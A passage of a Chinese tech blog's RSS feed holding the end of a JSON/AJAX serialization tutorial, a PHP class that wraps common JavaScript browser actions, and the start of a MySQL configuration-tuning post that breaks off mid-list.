<p>　　如你所见，该Car对象是Auto对象的一个子对象—这分明是一种类对象层次结构。这个对象有一个名为color的属性和一个用于设置它的方法。在此，我们把color属性设置为灰色以覆盖掉缺省的白色。当在后面我们串行化该对象时请牢记住这个事实。</p>
<p>　　下一个对象，Wheel，是Car的一个子对象：</p>
<p>Auto.Car.Wheel = new Object();<br />
Auto.Car.Wheel.color = “#000&#8243;; </p>
<p>　　在此，Wheel是一个基本对象，但是它展示了对象层次中的又一个层。这个对象有一个称为color的缺省值为黑色(“#000”)的属性。</p>
<p>　　下面，让我们来分析一下为什么这些对象如此重要以及我们是如何使用它们提供的简单的属性的。</p>
<p>四、 把JavaScript对象串行化为JSON </p>
<p>　　借助于JSON分析器，我们可以很容易地把刚才创建的JavaScript对象串行化为JSON。首先，我们需要下载该分析器的一个副本，并且要把它添加到文档中。下面是我在本文示例中用于导入该脚本的相应的代码：</p>
<p>＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞ </p>
<p>　　我已经把该分析器添加到我的javascript目录，即一个称为utils的子目录下。</p>
<p>　　下面是最终的包括到其中用于导入适当的JavaScript文件的代码片断：</p>
<p>以下是引用片段：<br />
＜script type=”text/javascript” src=”javascript/Auto.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Car.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/Wheel.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/utils/jsonparser.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/Ajax.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/HTTP.js”＞＜/script＞<br />
＜script type=”text/javascript” src=”javascript/model/AjaxUpdater.js”＞＜/script＞ </p>
<p>　　在导入适当的文件后，我们可以通过把两个div元素和一个onload事件简单地添加到HTML文档中开始串行化。这两个div元素将分别拥有ID：body和loading。其中，这个loading标签将由AJAX引擎使用来指示进度情况，而body标签将用于显示消息。</p>
<p>＜div id=”loading”＞＜/div＞<br />
＜div id=”body”＞＜/div＞ </p>
<p>　　onload事件相应于body元素并且设置它的innerHTML属性为JavaScript对象(作为一个串行化的JSON字符串)。为了实现这一目的，我在Auto对象上使用了jsonparser.js文件内的toJSONString方法：</p>
<p>＜body onload=”document.getElementById(’body’).innerHTML = ’＜b＞Local objects serialized as JSON＜/b＞<br />
Auto Object: ’+ Auto.toJSONString();”＞ </p>
<p>　　这段代码使用了Auto对象及其所有的子对象，并且使用JSON分析器的toJSONString方法把它们串行化为一个JSON字符串。然后，该数据可以被用作服务器端的一种数据交换格式。</p>
<p>　　你可能还记得，在前面我们曾调用了一个称为setColor的方法来改变Car对象的颜色。当时，我使用它是因为我想向你展示串行化能够在运行时刻的任何点上实现，而且还为了反映出对象中最新的数据。</p>
<p>　　如果你仔细分析一下onload事件，你会注意到，Car和Wheel对象都包装在方括号内，这些方括号代表了父对象(即Auto)。这意味着，该串行化的JavaScript对象能够在运行时刻被发送到服务器端以存储最新的数据，并且也可以在应用程序启动时从服务器端进行接收以便从数据库中检索多数的当前数据。最精彩的部分在于，为了创建一种“无缝”的过程，所有与服务器之间实现的数据交换都可以使用JSON技术来实现。</p>
<p>　　下面，让我们来看一下相同的数据是如何从服务器端接收的，以及它们是如何被使用最新的数据(典型地，来源于一个数据库)串行化为客户端JavaScript对象的。</p>
<p>五、 把JSON反串行化为客户端JavaScript对象 </p>
<p>　　在本文中，我简单地把一个静态文件创建为JSON响应，但是在实际开发中，你可以把这些数据存储在一个数据库中并且使用一种服务器端语言返回它。基于这一能力，我们就可以轻松地创建一种强有力的数据交换过程!在前面，我们已经分析了这一串行化过程。凭基本的AJAX体验，你应该能够理解数据是如何被寄送到服务器端的。现在，让我们着手讨论反串行化的问题。首先来看一个针对本文示例提供的静态JSON文件。这个文件其实是我们在上一节中串行化的数据：</p>
<p>}} </p>
<p>　　作为一个请求JSON文件的示例，当我们点击下列链接时将请求这个串行化的Auto对象：</p>
<p>＜a href=”javascript:AjaxUpdater.Update(’GET’， ’json/data.js’， displayResponse);”＞Get remote JSON＜/a＞ </p>
<p>　　一旦接收到响应消息，我们的称为displayResponse回调方法就会被激活，然后，我们就能够反串行化并开始使用这些对象：</p>
<p>＜script type=”text/javascript”＞<br />
function displayResponse()<br />
{<br />
　if(Ajax.checkReadyState(’loading’) == “OK”)<br />
　{<br />
　　var Auto = Ajax.request.responseText.parseJSON();<br />
　　document.getElementById(“body”).innerHTML += ”<br />
＜b＞Remote JSON unserialized＜/b＞”;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Car color: “+Auto.Car.color;<br />
　　document.getElementById(“body”).innerHTML += ”<br />
Wheel color: “+Auto.Car.Wheel.color;<br />
　}<br />
}<br />
＜/script＞ </p>
<p>　　这是相当激动人心的一部分!一旦我们拥有了该responseText，我们就能够简单地使用JSON分析器中的parseJSON方法来从串行化的数据中重建我们的Auto对象。借助于这个新的Auto对象，我们就可以调用相应的子对象。这个特征允许我们在服务器和客户端来回发送对象—而不必进行大量的分析工作，然而在以前标准的XML响应情况下我们将却必须这样做。这样以来，我们就可以创建出能够基于AJAX技术来保留自身状态的客户端JavaScript对象</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxxuan.html" title="ajax的缺点">ajax的缺点</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeaoe.html" title="AJAX应用程序开发七宗罪">AJAX应用程序开发七宗罪</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/webshelleechueeee.html" title="Webshell下破解计算机管理员密码">Webshell下破解计算机管理员密码</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/gaoxingnengwangzhanjianshezhinandushubiji.html" title="《高性能网站建设指南》读书笔记">《高性能网站建设指南》读书笔记</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/ajax" title="ajax" rel="tag">ajax</a>, <a href="http://www.5bay.cn/tag/div" title="div" rel="tag">div</a>, <a href="http://www.5bay.cn/tag/html" title="html" rel="tag">html</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/mod" title="mod" rel="tag">mod</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/web" title="web" rel="tag">web</a>, <a href="http://www.5bay.cn/tag/xml" title="xml" rel="tag">xml</a>, <a href="http://www.5bay.cn/tag/%E4%BA%BA" title="人" rel="tag">人</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%88%86%E7%A6%BB" title="分离" rel="tag">分离</a>, <a href="http://www.5bay.cn/tag/%E5%AF%B9%E8%B1%A1" title="对象" rel="tag">对象</a>, <a href="http://www.5bay.cn/tag/%E5%B1%9E%E6%80%A7" title="属性" rel="tag">属性</a>, <a href="http://www.5bay.cn/tag/%E5%BA%94%E7%94%A8%E7%A8%8B%E5%BA%8F" title="应用程序" rel="tag">应用程序</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E6%96%B9%E6%B3%95" title="方法" rel="tag">方法</a>, <a href="http://www.5bay.cn/tag/%E6%B5%8F%E8%A7%88%E5%99%A8" title="浏览器" rel="tag">浏览器</a>, <a href="http://www.5bay.cn/tag/%E7%A8%8B%E5%BA%8F" title="程序" rel="tag">程序</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/tag/%E7%BD%91%E7%AB%99" title="网站" rel="tag">网站</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%87%AA%E8%BA%AB" title="自身" rel="tag">自身</a>, <a href="http://www.5bay.cn/tag/e" title="诫" rel="tag">诫</a>, <a href="http://www.5bay.cn/tag/%E9%93%BE%E6%8E%A5" title="链接" rel="tag">链接</a>, <a href="http://www.5bay.cn/tag/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1" title="面向对象" rel="tag">面向对象</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP封装常用Javascript为JS类以便快速调用</title>
		<link>http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html</link>
		<comments>http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:32:51 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[JavaScript&Ajax]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[网络编程]]></category>
		<category><![CDATA[class]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[url]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[常用]]></category>
		<category><![CDATA[提交表单]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[表单]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=377</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>&#60;?php # $Id: js.class.php,v 0.1 p $ // 禁止直接访问该页面 if (basename($HTTP_SERVER_VARS['PHP_SELF']) == &#34;js.class.php&#34;) { &#160;&#160;&#160;&#160; header(&#34;HTTP/1.0 404 Not Found&#34;); } # Purpose 封装了一些常用的Javascript代码，以便在PHP中快速调用 class JS{ &#160;&#160;&#160;&#160; function JS(){} &#160;&#160;&#160;&#160; #返回上页 &#160;&#160;&#160;&#160; # @param $step 返回的层数 默认为1 &#160;&#160;&#160;&#160; function Back($step = -1){ &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; $msg = &#34;history.go(&#34;.$step.&#34;);&#34;; &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; JS::_Write($msg); &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; JS::FreeResource(); &#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; exit; &#160;&#160;&#160;&#160; } &#160;&#160;&#160; # [...]]]></description>
			<content:encoded><![CDATA[<p>&lt;?<a href="http://www.5bay.cn/tag/php" class="st_tag internal_tag" rel="tag" title="标签 PHP 下的日志">php</a><br />
# $Id: js.<a href="http://www.5bay.cn/tag/class" class="st_tag internal_tag" rel="tag" title="标签 class 下的日志">class</a>.php,v 0.1 p $</p>
<p>// 禁止直接访问该页面<br />
if (basename($HTTP_<a href="http://www.5bay.cn/tag/server" class="st_tag internal_tag" rel="tag" title="标签 server 下的日志">SERVER</a>_VARS['PHP_SELF']) == &quot;js.class.php&quot;) {<br />
&nbsp;&nbsp;&nbsp;&nbsp; header(&quot;HTTP/1.0 404 Not Found&quot;);<br />
}</p>
<p># Purpose 封装了一些常用的Javascript代码，以便在PHP中快速调用</p>
<p>class JS{<br />
&nbsp;&nbsp;&nbsp;&nbsp; function JS(){}</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; #返回上页<br />
&nbsp;&nbsp;&nbsp;&nbsp; # @param $step 返回的层数 默认为1<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Back($step = -1){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;history.go(&quot;.$step.&quot;);&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::FreeResource();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; # 弹出警告的窗口<br />
&nbsp;&nbsp;&nbsp; # @param $msg 警告信息<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Alert($msg){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;alert(\&quot;&quot;.$msg.&quot;\&quot;);&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; # 写js<br />
&nbsp;&nbsp;&nbsp; # @param $msg<br />
&nbsp;&nbsp;&nbsp;&nbsp; function _Write($msg) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &quot;&lt;script language=\&quot;<a href="http://www.5bay.cn/tag/javascript" class="st_tag internal_tag" rel="tag" title="标签 javascript 下的日志">javascript</a>\&quot;&gt;\n&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo $msg;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; echo &quot;\n&lt;/SCRIPT&gt;&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; # 刷新当前页<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Reload(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;location.reload();&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::FreeResource();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; #刷新弹出父页<br />
&nbsp;&nbsp;&nbsp;&nbsp; function ReloadOpener(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;if (opener)&nbsp;&nbsp;&nbsp;&nbsp; opener.location.reload();&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; #跳转到url<br />
&nbsp;&nbsp;&nbsp;&nbsp; <a href="mailto:#@param">#@param</a> $<a href="http://www.5bay.cn/tag/url" class="st_tag internal_tag" rel="tag" title="标签 url 下的日志">url</a> 目标页<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Goto($url){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;location.href = &#8216;$url&#8217;;&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::FreeResource();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; #关闭窗口<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Close(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = &quot;window.close()&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::FreeResource();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; exit;<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp; #提交表单<br />
&nbsp;&nbsp;&nbsp;&nbsp; <a href="mailto:#@param">#@param</a> $frm 表单名<br />
&nbsp;&nbsp;&nbsp;&nbsp; function Submit($frm){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $msg = $frm.&quot;.submit();&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; JS::_Write($msg);<br />
&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; #关闭数据库连接<br />
&nbsp;&nbsp;&nbsp; function FreeResource(){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // 数据库连接标志<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; global $conn;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (is_resource($conn))<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @mysql_close($conn);<br />
&nbsp;&nbsp;&nbsp;&nbsp; }<br />
}<br />
?&gt;</p>
<h2  class="related_post_title">相关博文</h2><ul class="related_post"><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html" title="mysql优化及全文搜索">mysql优化及全文搜索</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeefangeredoc.html" title="php的文档句法(heredoc)<<<和PHP字符串操作">php的文档句法(heredoc)<<<和PHP字符串操作</a> (0)</li><li>2010年07月28日 -- <a href="http://www.5bay.cn/server-building/aspeaojie.html" title="ASP防注入新方式，希望对大家是有用的">ASP防注入新方式，希望对大家是有用的</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eeeeeeee.html" title="最令PHP初学者头痛的十四个问题">最令PHP初学者头痛的十四个问题</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeeeeeeeehuai.html" title="PHP对文本数据库的基本操作方法">PHP对文本数据库的基本操作方法</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeecketee.html" title="PHP和Socket简介">PHP和Socket简介</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajaxeeee.html" title="Ajax的工作原理">Ajax的工作原理</a> (1)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eejaxeeeeee.html" title="使用Ajax时的十个常犯的错误">使用Ajax时的十个常犯的错误</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/eesoneeajaxeehuai.html" title="基于JSON的高级AJAX开发技术">基于JSON的高级AJAX开发技术</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/eacceleratoryumemcachedequbieyuyongtu.html" title="eAccelerator与memcache的区别与用途">eAccelerator与memcache的区别与用途</a> (2)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/network-programming/phpzhongdememcachehanshukumemcachefunctions.html" title="PHP中的Memcache函数库（Memcache Functions）">PHP中的Memcache函数库（Memcache Functions）</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/ajax.html" title="AJAX的各种控件和类库">AJAX的各种控件和类库</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/xmlhttpe.html" title="XMLHTTP对象封装技术">XMLHTTP对象封装技术</a> (0)</li><li>2010年07月26日 -- <a href="http://www.5bay.cn/network-programming/phpeezhanchang.html" title="PHP安全之数据过滤">PHP安全之数据过滤</a> (0)</li><li>2010年05月23日 -- <a href="http://www.5bay.cn/server-building/rsyncxiangjie.html" title="Rsync详解">Rsync详解</a> (0)</li></ul>
	标签Tags：<a href="http://www.5bay.cn/tag/class" title="class" rel="tag">class</a>, <a href="http://www.5bay.cn/tag/javascript" title="javascript" rel="tag">javascript</a>, <a href="http://www.5bay.cn/category/network-programming/javascript-ajax" title="JavaScript&amp;Ajax" rel="tag">JavaScript&amp;Ajax</a>, <a href="http://www.5bay.cn/tag/js" title="js" rel="tag">js</a>, <a href="http://www.5bay.cn/tag/mysql" title="mysql" rel="tag">mysql</a>, <a href="http://www.5bay.cn/category/network-programming/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/php" title="PHP" rel="tag">PHP</a>, <a href="http://www.5bay.cn/tag/server" title="server" rel="tag">server</a>, <a href="http://www.5bay.cn/tag/sql" title="sql" rel="tag">sql</a>, <a href="http://www.5bay.cn/tag/url" title="url" rel="tag">url</a>, <a href="http://www.5bay.cn/tag/%E4%BB%A3%E7%A0%81" title="代码" rel="tag">代码</a>, <a href="http://www.5bay.cn/tag/%E5%B8%B8%E7%94%A8" title="常用" rel="tag">常用</a>, <a href="http://www.5bay.cn/tag/%E6%8F%90%E4%BA%A4%E8%A1%A8%E5%8D%95" title="提交表单" rel="tag">提交表单</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE" title="数据" rel="tag">数据</a>, <a href="http://www.5bay.cn/tag/%E6%95%B0%E6%8D%AE%E5%BA%93" title="数据库" rel="tag">数据库</a>, <a href="http://www.5bay.cn/tag/%E7%B1%BB" title="类" rel="tag">类</a>, <a href="http://www.5bay.cn/category/network-programming" title="网络编程" rel="tag">网络编程</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8" title="表" rel="tag">表</a>, <a href="http://www.5bay.cn/tag/%E8%A1%A8%E5%8D%95" title="表单" rel="tag">表单</a>, <a href="http://www.5bay.cn/tag/%E8%BF%9E%E6%8E%A5" title="连接" rel="tag">连接</a>, <a href="http://www.5bay.cn/tag/%E9%A1%B5%E9%9D%A2" title="页面" rel="tag">页面</a><br />
]]></content:encoded>
			<wfw:commentRss>http://www.5bay.cn/network-programming/phpfengzhuangchangyongjavascriptweijsleiyibiankuaisudiaoyong.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>mysql优化及全文搜索</title>
		<link>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html</link>
		<comments>http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html#comments</comments>
		<pubDate>Sat, 22 May 2010 21:29:20 +0000</pubDate>
		<dc:creator>江小邪</dc:creator>
				<category><![CDATA[服务器构建&安全]]></category>
		<category><![CDATA[cache]]></category>
		<category><![CDATA[div]]></category>
		<category><![CDATA[ie]]></category>
		<category><![CDATA[mod]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[path]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[server]]></category>
		<category><![CDATA[session]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[人]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[兼容]]></category>
		<category><![CDATA[函数]]></category>
		<category><![CDATA[含义]]></category>
		<category><![CDATA[密码]]></category>
		<category><![CDATA[属性]]></category>
		<category><![CDATA[引入]]></category>
		<category><![CDATA[成功]]></category>
		<category><![CDATA[搜索]]></category>
		<category><![CDATA[操作系统]]></category>
		<category><![CDATA[数据]]></category>
		<category><![CDATA[数据库]]></category>
		<category><![CDATA[最快]]></category>
		<category><![CDATA[版本]]></category>
		<category><![CDATA[程序]]></category>
		<category><![CDATA[类]]></category>
		<category><![CDATA[系统]]></category>
		<category><![CDATA[表]]></category>
		<category><![CDATA[解决]]></category>
		<category><![CDATA[连接]]></category>
		<category><![CDATA[错误]]></category>
		<category><![CDATA[镜像]]></category>
		<category><![CDATA[页面]]></category>

		<guid isPermaLink="false">http://www.5bay.cn/?p=373</guid>
		<description><![CDATA[<a href="http://www.5bay.cn/server-building/mysqlyouhuajiquanwensousuo.html"><img align="left" hspace="5" width="150" height="150" src="http://www.5bay.cn/wp-content/plugins/thumbnail-for-excerpts/tfe_no_thumb.png" class="alignleft wp-post-image tfe" alt="" title="" /></a>mysql my.cnf文件常见优化模块 [mysqld] port = 3306 server-id = 1 socket = /tmp/mysql.sock # 避免MySQL的外部锁定，减少出错几率增强稳定性。 skip-locking # 禁止MySQL对外部连接进行DNS解析 skip-name-resolve # 指定MySQL可能的连接数量 back_log = 256 # 使用查询缓冲 query_cache_size = 32M query_cache_type= 1 # 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好 key_buffer_size = 256M # 允许的请求包大小 max_allowed_packet = 4M # 缓存可重用的线程数 thread_cache = 256 thread_cache_size = 64 # 每个线程的栈大小 [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.5bay.cn/tag/mysql" class="st_tag internal_tag" rel="tag" title="标签 mysql 下的日志">mysql</a> my.cnf文件常见优化模块<br />
[mysqld]<br />
port = 3306<br />
server-id = 1<br />
socket = /tmp/mysql.sock</p>
<p># 避免MySQL的外部锁定，减少出错几率增强稳定性。<br />
skip-locking</p>
<p># 禁止MySQL对外部连接进行DNS解析<br />
skip-name-resolve</p>
<p># 指定MySQL可能的连接数量<br />
back_log = 256<br />
<span id="more-373"></span><br />
# 使用查询缓冲<br />
query_cache_size = 32M<br />
query_cache_type= 1</p>
<p># 指定用于索引的缓冲区大小 对于内存在4GB左右的服务器该参数可设置为256M或384M key_reads / key_read_requests 至少是1:100，1:1000更好<br />
key_buffer_size = 256M</p>
<p># 允许的请求包大小<br />
max_allowed_packet = 4M</p>
<p># 缓存可重用的线程数<br />
thread_cache = 256<br />
thread_cache_size = 64</p>
<p># 每个线程的栈大小<br />
thread_stack = 256K</p>
<p># 指定表高速缓存的大小 对于有1G内存的机器，推荐值是128－256<br />
table_cache = 256K</p>
<p># 查询排序时所能使用的缓冲区大小 每连接独占<br />
sort_buffer_size = 6M</p>
<p># 读查询操作所能使用的缓冲区大小 每连接独占<br />
read_buffer_size = 4M</p>
<p># 联合查询操作所能使用的缓冲区大小 每连接独占<br />
join_buffer_size = 8M</p>
<p>#MyISAM表发生变化时重新排序所需的缓冲<br />
myisam_sort_buffer_size = 64M</p>
<p># 指定MySQL查询缓冲区的大小<br />
query_cache_size = 64M</p>
<p>tmp_table_size = 256M</p>
<p># 指定MySQL允许的最大连接进程数<br />
max_connections = 768</p>
<p>max_connect_errors = 10000000</p>
<p># 指定一个请求的最大连接时间<br />
wait_timeout = 10</p>
<p># 该参数取值为服务器逻辑CPU数量×2<br />
thread_concurrency = 8</p>
<p>#记录慢查询,然后对慢查询一一优化<br />
log-slow-queries = slow.log<br />
long_query_time = 2<br />
log-queries-not-using-indexes</p>
<p>#关闭不需要的表类型,如果你需要,就不要加上这个<br />
skip-innodb<br />
skip-bdb<br />
